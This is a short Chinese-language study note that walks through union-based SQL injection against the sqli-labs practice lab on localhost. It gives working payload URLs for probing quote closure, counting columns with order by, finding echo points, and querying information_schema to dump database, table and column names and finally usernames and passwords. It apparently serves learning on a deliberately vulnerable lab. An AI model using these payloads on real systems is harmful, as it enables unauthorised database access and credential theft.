@[]TUC
1.先去判断它是不是有SQL注入
1.参数是不是可控
2.被控制的参数有没有被带入数据库执行
2.类型
' 是否闭合 (最好加上注释符 --+ # -- -) http://127.0.0.1/sqli-labs/less-2/?id=1'
3.确定他到底有没有
and 1 = 1 --+ and 1 = 2 --+ http://127.0.0.1/sqli-labs/less-2/?id=1 and 1=1 http://127.0.0.1/sqli-labs/less-2/?id=1 and 1=2
4.猜测其字段数目
通过 order by 去猜解其 查询语句的字段数目 3 http://127.0.0.1/sqli-labs/less-2/?id=1 order by 3
5.尝试使用联合查询的方式去确定网页是否有回显点
id = -1 union select 1,2,3 (注意这里是id = -1) http://127.0.0.1/sqli-labs/less-2/?id=-1%20union%20select%201,2,3
6.替换回显点,获取敏感数据
database() version() user() table_schema 是数据库的名称 table_name 是具体的表名 table_type 表的类型
7.查数据库名
http://127.0.0.1/sqli-labs/less-2/?id=-1 union select 1,2,database()--+
8.根据库名去查表名
库名:security http://127.0.0.1/sqli-labs/less-2/?id=-1 union select 1,2,(select group_concat(table_name,0x7e)from information_schema.tables where table_schema ='security')--+
9.知道了库名和表名,接下来我们查字段名就好了,这样我们就注出了库、表、列名;
select group_concat(column_name,0x7e) from information_schema.columns where table_schema = 'security' and table_name = 'users'
-
select group_concat(username,0x7e,password) from users